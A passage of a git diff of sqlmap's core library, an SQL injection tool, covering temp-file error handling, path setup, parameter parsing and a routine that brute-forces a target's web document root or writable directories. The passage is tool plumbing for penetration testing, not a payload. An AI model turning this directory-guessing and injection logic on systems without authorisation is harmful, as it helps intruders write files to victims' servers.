pop(self): if len(self.chunks[-1]) < 1: self.chunks.pop() - with open(self.chunks[-1], "rb") as fp: - self.chunks[-1] = pickle.load(fp) + try: + with open(self.chunks[-1], "rb") as fp: + self.chunks[-1] = pickle.load(fp) + except IOError, ex: + errMsg = "exception occurred while retrieving data " + errMsg += "from a temporary file ('%s')" % ex + raise SqlmapSystemException, errMsg return self.chunks[-1].pop() def index(self, value): @@ -57,21 +89,41 @@ class BigArray(list): return index return ValueError, "%s is not in list" % value - def _dump(self, value): - handle, filename = tempfile.mkstemp(prefix="sqlmapba-") - self.filenames.add(filename) - os.close(handle) - with open(filename, "w+b") as fp: - pickle.dump(value, fp) - return filename + def _dump(self, chunk): + try: + handle, filename = tempfile.mkstemp() + self.filenames.add(filename) + os.close(handle) + with open(filename, "w+b") as fp: + pickle.dump(chunk, fp, pickle.HIGHEST_PROTOCOL) + return filename + except (OSError, IOError), ex: + errMsg = "exception occurred while storing data " + errMsg += "to a temporary file ('%s'). Please " % ex + errMsg += "make sure that there is enough disk space left. If problem persists, " + errMsg += "try to set environment variable 'TEMP' to a location " + errMsg += "writeable by the current user" + raise SqlmapSystemException, errMsg def _checkcache(self, index): if (self.cache and self.cache.index != index and self.cache.dirty): filename = self._dump(self.cache.data) self.chunks[self.cache.index] = filename if not (self.cache and self.cache.index == index): - with open(self.chunks[index], "rb") as fp: - self.cache = Cache(index, pickle.load(fp), False) + try: + with open(self.chunks[index], "rb") as fp: + self.cache = Cache(index, pickle.load(fp), False) + except IOError, ex: + errMsg = "exception occurred while retrieving data " + errMsg += "from a temporary file ('%s')" % ex + raise SqlmapSystemException, errMsg + + def __getstate__(self): + return self.chunks, self.filenames + + def __setstate__(self, state): + self.__init__() + self.chunks, self.filenames = state def __getslice__(self, i, j): retval = BigArray() @@ -84,8 +136,8 @@ class BigArray(list): def __getitem__(self, y): if y < 0: y += len(self) - index = y / BIGARRAY_CHUNK_LENGTH - offset = y % BIGARRAY_CHUNK_LENGTH + index = y / self.chunk_length + offset = y % self.chunk_length chunk = self.chunks[index] if isinstance(chunk, list): return chunk[offset] @@ -94,8 +146,8 @@ class BigArray(list): return self.cache.data[offset] def __setitem__(self, y, value): - index = y / BIGARRAY_CHUNK_LENGTH - offset = y % BIGARRAY_CHUNK_LENGTH + index = y / self.chunk_length + offset = y % self.chunk_length chunk = self.chunks[index] if isinstance(chunk, list): chunk[offset] = value @@ -112,11 +164,4 @@ class BigArray(list): yield self[i] def __len__(self): - return len(self.chunks[-1]) if len(self.chunks) == 1 else (len(self.chunks) - 1) * BIGARRAY_CHUNK_LENGTH + len(self.chunks[-1]) - - def __del__(self): - for filename in self.filenames: - try: - os.remove(filename) - except: - pass + return len(self.chunks[-1]) if len(self.chunks) == 1 else (len(self.chunks) - 1) * self.chunk_length + len(self.chunks[-1]) diff --git a/lib/core/common.py b/lib/core/common.py old mode 100644 new mode 100755 index d581795fd..08e6cc46e --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -9,8 +9,12 @@ import codecs import contextlib import cookielib import copy +import getpass +import hashlib import httplib import inspect +import json +import locale import logging import ntpath import os @@ -23,6 +27,7 @@ import sys import tempfile import time import urllib +import urllib2 import urlparse import unicodedata @@ -36,6 +41,7 @@ from subprocess import PIPE from subprocess import Popen as execute from xml.dom import minidom from xml.sax import parse +from xml.sax import SAXParseException from extra.cloak.cloak import decloak from extra.safe2bin.safe2bin import safecharencode @@ -71,15 +77,17 @@ from lib.core.enums import PAYLOAD from lib.core.enums import REFLECTIVE_COUNTER from lib.core.enums import SORT_ORDER from lib.core.exception import SqlmapDataException -from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapInstallationException from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSyntaxException +from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUserQuitException from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict +from lib.core.settings import BANNER from lib.core.settings import BOLD_PATTERNS from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES @@ -90,13 +98,15 @@ from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_MSSQL_SCHEMA from lib.core.settings import DESCRIPTION -from lib.core.settings import DUMMY_SQL_INJECTION_CHARS from lib.core.settings import DUMMY_USER_INJECTION from lib.core.settings import DYNAMICITY_MARK_LENGTH from lib.core.settings import ERROR_PARSING_REGEXES from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME from lib.core.settings import FORM_SEARCH_REGEX from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES +from lib.core.settings import GIT_PAGE +from lib.core.settings import GITHUB_REPORT_OAUTH_TOKEN +from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX from lib.core.settings import HASHDB_MILESTONE_VALUE from lib.core.settings import HOST_ALIASES from lib.core.settings import INFERENCE_UNKNOWN_CHAR @@ -108,7 +118,6 @@ from lib.core.settings import LARGE_OUTPUT_THRESHOLD from lib.core.settings import MIN_ENCODED_LEN_CHECK from lib.core.settings import MIN_TIME_RESPONSES from lib.core.settings import MIN_VALID_DELAYED_RESPONSE -from lib.core.settings import ML from lib.core.settings import NETSCAPE_FORMAT_HEADER_COOKIES from lib.core.settings import NULL from lib.core.settings import PARAMETER_AMP_MARKER @@ -294,10 +303,14 @@ class Backend: # Little precaution, in theory this condition should always be false elif kb.dbms is not None and kb.dbms != dbms: - msg = "sqlmap previously fingerprinted back-end DBMS " + warnMsg = "there seems to be a high probability that " + warnMsg += "this could be a false positive case" + logger.warn(warnMsg) + + msg = "sqlmap previously fingerprinted back-end DBMS as " msg += "%s. However now it has been fingerprinted " % kb.dbms - msg += "to be %s. " % dbms - msg += "Please, specify which DBMS is " + msg += "as %s. " % dbms + msg += "Please, specify which DBMS should be " msg += "correct [%s (default)/%s] " % (kb.dbms, dbms) while True: @@ -425,10 +438,9 @@ class Backend: This functions is called to: - 1. Sort the tests, getSortedInjectionTests() - detection phase. - 2. Ask user whether or not skip specific DBMS tests in detection phase, + 1. Ask user whether or not skip specific DBMS tests in detection phase, lib/controller/checks.py - detection phase. - 3. Sort the fingerprint of the DBMS, lib/controller/handler.py - + 2. Sort the fingerprint of the DBMS, lib/controller/handler.py - fingerprint phase. """ @@ -436,6 +448,13 @@ class Backend: @staticmethod def getIdentifiedDbms(): + """ + This functions is called to: + + 1. Sort the tests, getSortedInjectionTests() - detection phase. + 2. Etc. + """ + dbms = None if not kb: @@ -443,13 +462,13 @@ class Backend: elif Backend.getForcedDbms() is not None: dbms = Backend.getForcedDbms() elif Backend.getDbms() is not None: - dbms = kb.dbms - elif conf.get("dbms"): - dbms = conf.dbms - elif Backend.getErrorParsedDBMSes(): - dbms = unArrayizeValue(Backend.getErrorParsedDBMSes()) + dbms = Backend.getDbms() elif kb.get("injection") and kb.injection.dbms: dbms = unArrayizeValue(kb.injection.dbms) + elif Backend.getErrorParsedDBMSes(): + dbms = unArrayizeValue(Backend.getErrorParsedDBMSes()) + elif conf.get("dbms"): + dbms = conf.get("dbms") return aliasToDbmsEnum(dbms) @@ -531,41 +550,52 @@ def paramToDict(place, parameters=None): if place in conf.parameters and not parameters: parameters = conf.parameters[place] - parameters = parameters.replace(", ", ",") parameters = re.sub(r"&(\w{1,4});", r"%s\g<1>%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), parameters) - splitParams = parameters.split(conf.pDel or (DEFAULT_COOKIE_DELIMITER if place == PLACE.COOKIE else DEFAULT_GET_POST_DELIMITER)) + if place == PLACE.COOKIE: + splitParams = parameters.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER) + else: + splitParams = parameters.split(conf.paramDel or DEFAULT_GET_POST_DELIMITER) for element in splitParams: element = re.sub(r"%s(.+?)%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), r"&\g<1>;", element) parts = element.split("=") if len(parts) >= 2: - parameter = parts[0].replace(" ", "") + parameter = urldecode(parts[0].replace(" ", "")) - if conf.pDel and conf.pDel == '\n': + if not parameter: + continue + + if conf.paramDel and conf.paramDel == '\n': parts[-1] = parts[-1].rstrip() condition = not conf.testParameter - condition |= parameter in conf.testParameter + condition |= conf.testParameter is not None and parameter in conf.testParameter condition |= place == PLACE.COOKIE and len(intersect((PLACE.COOKIE,), conf.testParameter, True)) > 0 if condition: testableParameters[parameter] = "=".join(parts[1:]) - if not conf.multipleTargets: + if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken): _ = urldecode(testableParameters[parameter], convall=True) - if _.strip(DUMMY_SQL_INJECTION_CHARS) != _\ - or re.search(r'\A9{3,}', _) or re.search(DUMMY_USER_INJECTION, _): + if (_.endswith("'") and _.count("'") == 1 + or re.search(r'\A9{3,}', _) or re.search(DUMMY_USER_INJECTION, _))\ + and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX): warnMsg = "it appears that you have provided tainted parameter values " warnMsg += "('%s') with most probably leftover " % element warnMsg += "chars/statements from manual SQL injection test(s). " warnMsg += "Please, always use only valid parameter values " - warnMsg += "so sqlmap could be able to properly run " + warnMsg += "so sqlmap could be able to run properly" logger.warn(warnMsg) - message = "Are you sure you want to continue? [y/N] " + message = "are you really sure that you want to continue (sqlmap could have problems)? [y/N] " test = readInput(message, default="N") if test[0] not in ("y", "Y"): raise SqlmapSilentQuitException + elif not _: + warnMsg = "provided value for parameter '%s' is empty. " % parameter + warnMsg += "Please, always use only valid parameter values " + warnMsg += "so sqlmap could be able to run properly" + logger.warn(warnMsg) if conf.testParameter and not testableParameters: paramStr = ", ".join(test for test in conf.testParameter) @@ -605,15 +635,15 @@ def paramToDict(place, parameters=None): return testableParameters -def getDocRoot(): - docRoot = None +def getManualDirectories(): + directories = None pagePath = directoryPath(conf.path) defaultDocRoot = DEFAULT_DOC_ROOTS.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX]) if kb.absFilePaths: for absFilePath in kb.absFilePaths: - if docRoot: + if directories: break if directoryPath(absFilePath) == '/': @@ -631,41 +661,41 @@ def getDocRoot(): _ = "/%s/" % _ if _ in absFilePath: - docRoot = "%s%s" % (absFilePath.split(_)[0], _) + directories = "%s%s" % (absFilePath.split(_)[0], _) break if pagePath and pagePath in absFilePath: - docRoot = absFilePath.split(pagePath)[0] + directories = absFilePath.split(pagePath)[0] if windowsDriveLetter: - docRoot = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(docRoot)) + directories = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(directories)) - docRoot = normalizePath(docRoot) + directories = normalizePath(directories) - if docRoot: - infoMsg = "retrieved the web server document root: '%s'" % docRoot + if directories: + infoMsg = "retrieved the web server document root: '%s'" % directories logger.info(infoMsg) else: warnMsg = "unable to retrieve automatically the web server " warnMsg += "document root" logger.warn(warnMsg) - docRoot = [] + directories = [] - message = "what do you want to use for web server document root?\n" - message += "[1] common location(s) '%s' (default)\n" % ", ".join(root for root in defaultDocRoot) - message += "[2] custom location\n" + message = "what do you want to use for writable directory?\n" + message += "[1] common location(s) ('%s') (default)\n" % ", ".join(root for root in defaultDocRoot) + message += "[2] custom location(s)\n" message += "[3] custom directory list file\n" - message += "[4] brute force search\n" + message += "[4] brute force search" choice = readInput(message, default="1").strip() if choice == "2": - message = "please provide the web server document root: " - docRoot = readInput(message, default="").split(',') + message = "please provide a comma separate list of absolute directory paths: " + directories = readInput(message, default="").split(',') elif choice == "3": message = "what's the list file location?\n" listPath = readInput(message, default="") checkFile(listPath) - docRoot = getFileItems(listPath) + directories = getFileItems(listPath) elif choice == "4": targets = set([conf.hostname]) _ = conf.hostname.split('.') @@ -685,22 +715,31 @@ def getDocRoot(): for suffix in BRUTE_DOC_ROOT_SUFFIXES: for target in targets: item = "%s/%s" % (prefix, suffix) - item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", "/") - docRoot.append(item) + item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", '/').rstrip('/') + directories.append(item) if BRUTE_DOC_ROOT_TARGET_MARK not in prefix: break + infoMsg = "using generated directory list: %s" % ','.join(directories) + logger.info(infoMsg) + + msg = "use any additional custom directories [Enter for None]: " + answer = readInput(msg) + + if answer: + directories.extend(answer.split(',')) + else: - docRoot = defaultDocRoot + directories = defaultDocRoot - return docRoot + return directories -def getDirs(): - directories = set("/") +def getAutoDirectories(): + retVal = set() if kb.absFilePaths: - infoMsg = "retrieved web server full paths: " + infoMsg = "retrieved web server absolute paths: " infoMsg += "'%s'" % ", ".join(ntToPosixSlashes(path) for path in kb.absFilePaths) logger.info(infoMsg) @@ -708,16 +747,17 @@ def getDirs(): if absFilePath: directory = directoryPath(absFilePath) directory = ntToPosixSlashes(directory) - directories.add(directory) + retVal.add(directory) else: - warnMsg = "unable to retrieve automatically any web server path" + warnMsg = "unable to automatically parse any web server path" logger.warn(warnMsg) - webDir = extractRegexResult(r"//[^/]+?/(?P.*)/", conf.url) - if webDir: - directories.add(webDir) + _ = extractRegexResult(r"//[^/]+?(?P/.*)/", conf.url) # web directory - return list(directories) + if _: + retVal.add(_) + + return list(retVal) def filePathToSafeString(filePath): """ @@ -814,20 +854,33 @@ def dataToTrafficFile(data): except IOError, ex: errMsg = "something went wrong while trying " errMsg += "to write to the traffic file '%s' ('%s')" % (conf.trafficFile, ex) - raise SqlmapGenericException(errMsg) + raise SqlmapSystemException(errMsg) def dataToDumpFile(dumpFile, data): - dumpFile.write(data) - dumpFile.flush() + try: + dumpFile.write(data) + dumpFile.flush() + except IOError, ex: + if "No space left" in getUnicode(ex): + errMsg = "no space left on output device" + logger.error(errMsg) + else: + raise + def dataToOutFile(filename, data): retVal = None if data: - retVal = "%s%s%s" % (conf.filePath, os.sep, filePathToSafeString(filename)) + retVal = os.path.join(conf.filePath, filePathToSafeString(filename)) - with codecs.open(retVal, "wb", UNICODE_ENCODING) as f: - f.write(data) + try: + with openFile(retVal, "wb") as f: + f.write(data) + except IOError, ex: + errMsg = "something went wrong while trying to write " + errMsg += "to the output file ('%s')" % ex + raise SqlmapGenericException(errMsg) return retVal @@ -846,11 +899,11 @@ def readInput(message, default=None, checkBatch=True): elif message[-1] == ']': message += " " - if kb.prependFlag: + if kb.get("prependFlag"): message = "\n%s" % message kb.prependFlag = False - if conf.answers: + if conf.get("answers"): for item in conf.answers.split(','): question = item.split('=')[0].strip() answer = item.split('=')[1] if len(item.split('=')) > 1 else None @@ -866,7 +919,7 @@ def readInput(message, default=None, checkBatch=True): break if retVal is None: - if checkBatch and conf.batch: + if checkBatch and conf.get("batch"): if isListLike(default): options = ",".join(getUnicode(opt, UNICODE_ENCODING) for opt in default) elif default: @@ -887,7 +940,7 @@ def readInput(message, default=None, checkBatch=True): try: retVal = raw_input() or default - retVal = getUnicode(retVal, system=True) if retVal else retVal + retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal except: time.sleep(0.05) # Reference: http://www.gossamer-threads.com/lists/python/python/781893 kb.prependFlag = True @@ -898,7 +951,7 @@ def readInput(message, default=None, checkBatch=True): return retVal -def randomRange(start=0, stop=1000): +def randomRange(start=0, stop=1000, seed=None): """ Returns random integer value in given range @@ -907,9 +960,11 @@ def randomRange(start=0, stop=1000): 423 """ - return int(random.randint(start, stop)) + randint = random.WichmannHill(seed).randint if seed is not None else random.randint -def randomInt(length=4): + return int(randint(start, stop)) + +def randomInt(length=4, seed=None): """ Returns random integer value with provided number of digits @@ -918,9 +973,11 @@ def randomInt(length=4): 874254 """ - return int("".join(random.choice(string.digits if _ != 0 else string.digits.replace('0', '')) for _ in xrange(0, length))) + choice = random.WichmannHill(seed).choice if seed is not None else random.choice -def randomStr(length=4, lowercase=False, alphabet=None): + return int("".join(choice(string.digits if _ != 0 else string.digits.replace('0', '')) for _ in xrange(0, length))) + +def randomStr(length=4, lowercase=False, alphabet=None, seed=None): """ Returns random string value with provided number of characters @@ -929,12 +986,14 @@ def randomStr(length=4, lowercase=False, alphabet=None): 'RNvnAv' """ + choice = random.WichmannHill(seed).choice if seed is not None else random.choice + if alphabet: - retVal = "".join(random.choice(alphabet) for _ in xrange(0, length)) + retVal = "".join(choice(alphabet) for _ in xrange(0, length)) elif lowercase: - retVal = "".join(random.choice(string.ascii_lowercase) for _ in xrange(0, length)) + retVal = "".join(choice(string.ascii_lowercase) for _ in xrange(0, length)) else: - retVal = "".join(random.choice(string.ascii_letters) for _ in xrange(0, length)) + retVal = "".join(choice(string.ascii_letters) for _ in xrange(0, length)) return retVal @@ -948,23 +1007,49 @@ def sanitizeStr(value): return getUnicode(value).replace("\n", " ").replace("\r", "") +def getHeader(headers, key): + retVal = None + for _ in (headers or {}): + if _.upper() == key.upper(): + retVal = headers[_] + break + return retVal + def checkFile(filename): """ - Checks for file existence + Checks for file existence and readability """ - if not os.path.isfile(filename): - raise SqlmapFilePathException("unable to read file '%s'" % filename) + valid = True + + if filename is None or not os.path.isfile(filename): + valid = False + + if valid: + try: + with open(filename, "rb") as f: + pass + except: + valid = False + + if not valid: + raise SqlmapSystemException("unable to read file '%s'" % filename) def banner(): """ This function prints sqlmap banner with its version """ - _ = """\n %s - %s\n %s\n\n""" % (VERSION_STRING, DESCRIPTION, SITE) + _ = BANNER + if not getattr(LOGGER_HANDLER, "is_tty", False): + _ = re.sub("\033.+?m", "", _) dataToStdout(_, forceOutput=True) def parsePasswordHash(password): + """ + In case of Microsoft SQL Server password hash value is expanded to its components + """ + blank = " " * 8 if not password or password == " ": @@ -983,6 +1068,10 @@ def parsePasswordHash(password): return password def cleanQuery(query): + """ + Switch all SQL statement (alike) keywords to upper case + """ + retVal = query for sqlStatements in SQL_STATEMENTS.values(): @@ -1010,12 +1099,18 @@ def setPaths(): paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "udf") paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml") paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner") - paths.SQLMAP_OUTPUT_PATH = paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_ROOT_PATH, "output")) + paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads") + + _ = os.path.join(os.path.expanduser("~"), ".sqlmap") + paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding()) paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") # sqlmap files - paths.SQLMAP_HISTORY = os.path.join(paths.SQLMAP_ROOT_PATH, ".sqlmap_history") + paths.OS_SHELL_HISTORY = os.path.join(_, "os.hst") + paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst") + paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst") + paths.GITHUB_HISTORY = os.path.join(_, "github.hst") paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr()) paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") @@ -1025,8 +1120,7 @@ def setPaths(): paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt") paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.zip") paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml") - paths.PAYLOADS_XML = os.path.join(paths.SQLMAP_XML_PATH, "payloads.xml") - paths.INJECTIONS_XML = os.path.join(paths.SQLMAP_XML_PATH, "injections.xml") + paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml") paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml") paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml") paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml") @@ -1035,6 +1129,10 @@ def setPaths(): paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml") paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml") + for path in paths.values(): + if any(path.endswith(_) for _ in (".txt", ".xml", ".zip")): + checkFile(path) + def weAreFrozen(): """ Returns whether we are frozen via py2exe. @@ -1059,11 +1157,11 @@ def parseTargetDirect(): details = re.search("^(?P%s)://(?P(?P.+?)\:(?P.*)\@)?(?P(?P.+?)\:(?P[\d]+)\/)?(?P[\w\d\ \:\.\_\-\/\\\\]+?)$" % dbms, conf.direct, re.I) if details: - conf.dbms = details.group('dbms') + conf.dbms = details.group("dbms") if details.group('credentials'): - conf.dbmsUser = details.group('user') - conf.dbmsPass = details.group('pass') + conf.dbmsUser = details.group("user") + conf.dbmsPass = details.group("pass") else: if conf.dbmsCred: conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':') @@ -1074,16 +1172,15 @@ def parseTargetDirect(): if not conf.dbmsPass: conf.dbmsPass = None - if details.group('remote'): + if details.group("remote"): remote = True - conf.hostname = details.group('hostname').strip() - conf.port = int(details.group('port')) + conf.hostname = details.group("hostname").strip() + conf.port = int(details.group("port")) else: conf.hostname = "localhost" conf.port = 0 - conf.dbmsDb = details.group('db') - + conf.dbmsDb = details.group("db") conf.parameters[None] = "direct connection" break @@ -1095,7 +1192,7 @@ def parseTargetDirect(): raise SqlmapSyntaxException(errMsg) for dbmsName, data in DBMS_DICT.items(): - if conf.dbms in data[0]: + if dbmsName == conf.dbms or conf.dbms.lower() in data[0]: try: if dbmsName in (DBMS.ACCESS, DBMS.SQLITE, DBMS.FIREBIRD): if remote: @@ -1106,7 +1203,9 @@ def parseTargetDirect(): conf.hostname = "localhost" conf.port = 0 elif not remote: - errMsg = "missing remote connection details" + errMsg = "missing remote connection details (e.g. " + errMsg += "'mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME' " + errMsg += "or 'access://DATABASE_FILEPATH')" raise SqlmapSyntaxException(errMsg) if dbmsName in (DBMS.MSSQL, DBMS.SYBASE): @@ -1136,7 +1235,7 @@ def parseTargetDirect(): pass else: errMsg = "sqlmap requires '%s' third-party library " % data[1] - errMsg += "in order to directly connect to the database " + errMsg += "in order to directly connect to the DBMS " errMsg += "%s. You can download it from '%s'" % (dbmsName, data[2]) errMsg += ". Alternative is to use a package 'python-sqlalchemy' " errMsg += "with support for dialect '%s' installed" % data[3] @@ -1157,7 +1256,8 @@ def parseTargetUrl(): errMsg += "on this platform" raise SqlmapGenericException(errMsg) - if not re.search("^http[s]*://", conf.url, re.I): + if not re.search("^http[s]*://", conf.url, re.I) and \ + not re.search("^ws[s]*://", conf.url, re.I): if ":443/" in conf.url: conf.url = "https://" + conf.url else: @@ -1166,7 +1266,14 @@ def parseTargetUrl(): if CUSTOM_INJECTION_MARK_CHAR in conf.url: conf.url = conf.url.replace('?', URI_QUESTION_MARKER) - urlSplit = urlparse.urlsplit(conf.url) + try: + urlSplit = urlparse.urlsplit(conf.url) + except ValueError, ex: + errMsg = "invalid URL '%s' has been given ('%s'). " % (conf.url, ex) + errMsg += "Please be sure that you don't have any leftover characters (e.g. '[' or ']') " + errMsg += "in the hostname part" + raise SqlmapGenericException(errMsg) + hostnamePort = urlSplit.netloc.split(":") if not re.search("\[.+\]", urlSplit.netloc) else filter(None, (re.search("\[.+\]", urlSplit.netloc).group(0), re.search("\](:(?P\d+))?", urlSplit.netloc).group("port"))) conf.scheme = urlSplit.scheme.strip().lower() if not conf.forceSSL else "https" @@ -1174,10 +1281,12 @@ def parseTargetUrl(): conf.hostname = hostnamePort[0].strip() conf.ipv6 = conf.hostname != conf.hostname.strip("[]") - conf.hostname = conf.hostname.strip("[]") + conf.hostname = conf.hostname.strip("[]").replace(CUSTOM_INJECTION_MARK_CHAR, "") try: _ = conf.hostname.encode("idna") + except LookupError: + _ = conf.hostname.encode(UNICODE_ENCODING) except UnicodeError: _ = None @@ -1202,13 +1311,13 @@ def parseTargetUrl(): conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path)) conf.url = conf.url.replace(URI_QUESTION_MARKER, '?') - if not conf.referer and intersect(REFERER_ALIASES, conf.testParameter, True): + if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3): debugMsg = "setting the HTTP Referer header to the target URL" logger.debug(debugMsg) conf.httpHeaders = filter(lambda (key, value): key != HTTP_HEADER.REFERER, conf.httpHeaders) - conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url)) + conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(CUSTOM_INJECTION_MARK_CHAR, ""))) - if not conf.host and intersect(HOST_ALIASES, conf.testParameter, True): + if not conf.host and (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5): debugMsg = "setting the HTTP Host header to the target URL" logger.debug(debugMsg) conf.httpHeaders = filter(lambda (key, value): key != HTTP_HEADER.HOST, conf.httpHeaders) @@ -1224,15 +1333,22 @@ def expandAsteriskForColumns(expression): the SQL query string (expression) """ - asterisk = re.search("^SELECT\s+\*\s+FROM\s+([\w\.\_]+)\s*", expression, re.I) + asterisk = re.search("^SELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression, re.I) if asterisk: infoMsg = "you did not provide the fields in your query. " infoMsg += "sqlmap will retrieve the column names itself" logger.info(infoMsg) - _ = asterisk.group(1).replace("..", ".") - conf.db, conf.tbl = _.split(".", 1) if '.' in _ else (None, _) + _ = asterisk.group(2).replace("..", ".").replace(".dbo.", ".") + db, conf.tbl = _.split(".", 1) if '.' in _ else (None, _) + if db is None: + if expression != conf.query: + conf.db = db + else: + expression = re.sub(r"([^\w])%s" % re.escape(conf.tbl), "\g<1>%s.%s" % (conf.db, conf.tbl), expression) + else: + conf.db = db conf.db = safeSQLIdentificatorNaming(conf.db) conf.tbl = safeSQLIdentificatorNaming(conf.tbl, True) @@ -1244,7 +1360,7 @@ def expandAsteriskForColumns(expression): columnsStr = ", ".join(column for column in columns) expression = expression.replace("*", columnsStr, 1) - infoMsg = "the query with column names is: " + infoMsg = "the query with expanded column name(s) is: " infoMsg += "%s" % expression logger.info(infoMsg) @@ -1281,7 +1397,7 @@ def parseUnionPage(page): if page is None: return None - if page.startswith(kb.chars.start) and page.endswith(kb.chars.stop): + if re.search("(?si)\A%s.*%s\Z" % (kb.chars.start, kb.chars.stop), page): if len(page) > LARGE_OUTPUT_THRESHOLD: warnMsg = "large output detected. This might take a while" logger.warn(warnMsg) @@ -1337,6 +1453,10 @@ def parseFilePaths(page): kb.absFilePaths.add(absFilePath) def getLocalIP(): + """ + Get local IP address (exposed to the remote/target) + """ + retVal = None try: @@ -1352,6 +1472,10 @@ def getLocalIP(): return retVal def getRemoteIP(): + """ + Get remote/target IP address + """ + retVal = None try: @@ -1450,31 +1574,61 @@ def normalizePath(filepath): return retVal +def safeExpandUser(filepath): + """ + Patch for a Python Issue18171 (http://bugs.python.org/issue18171) + """ + + retVal = filepath + + try: + retVal = os.path.expanduser(filepath) + except UnicodeDecodeError: + _ = locale.getdefaultlocale() + retVal = getUnicode(os.path.expanduser(filepath.encode(_[1] if _ and len(_) > 1 else UNICODE_ENCODING))) + + return retVal + def safeStringFormat(format_, params): """ Avoids problems with inappropriate string format strings - >>> safeStringFormat('foobar%d%s', ('1', 2)) - u'foobar12' + >>> safeStringFormat('SELECT foo FROM %s LIMIT %d', ('bar', '1')) + u'SELECT foo FROM bar LIMIT 1' """ - retVal = format_.replace("%d", "%s") + if format_.count(PAYLOAD_DELIMITER) == 2: + _ = format_.split(PAYLOAD_DELIMITER) + _[1] = re.sub(r"(\A|[^A-Za-z0-9])(%d)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>", _[1]) + retVal = PAYLOAD_DELIMITER.join(_) + else: + retVal = re.sub(r"(\A|[^A-Za-z0-9])(%d)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>", format_) if isinstance(params, basestring): retVal = retVal.replace("%s", params, 1) elif not isListLike(params): retVal = retVal.replace("%s", str(params), 1) else: - count, index = 0, 0 - while index != -1: - index = retVal.find("%s") - if index != -1: - if count < len(params): - retVal = retVal[:index] + getUnicode(params[count]) + retVal[index + 2:] + start, end = 0, len(retVal) + match = re.search(r"%s(.+)%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER), retVal) + if match and PAYLOAD_DELIMITER not in match.group(1): + start, end = match.start(), match.end() + if retVal.count("%s", start, end) == len(params): + for param in params: + index = retVal.find("%s", start) + retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:] + else: + count = 0 + while True: + match = re.search(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", retVal) + if match: + if count >= len(params): + raise Exception("wrong number of parameters during string formatting") + 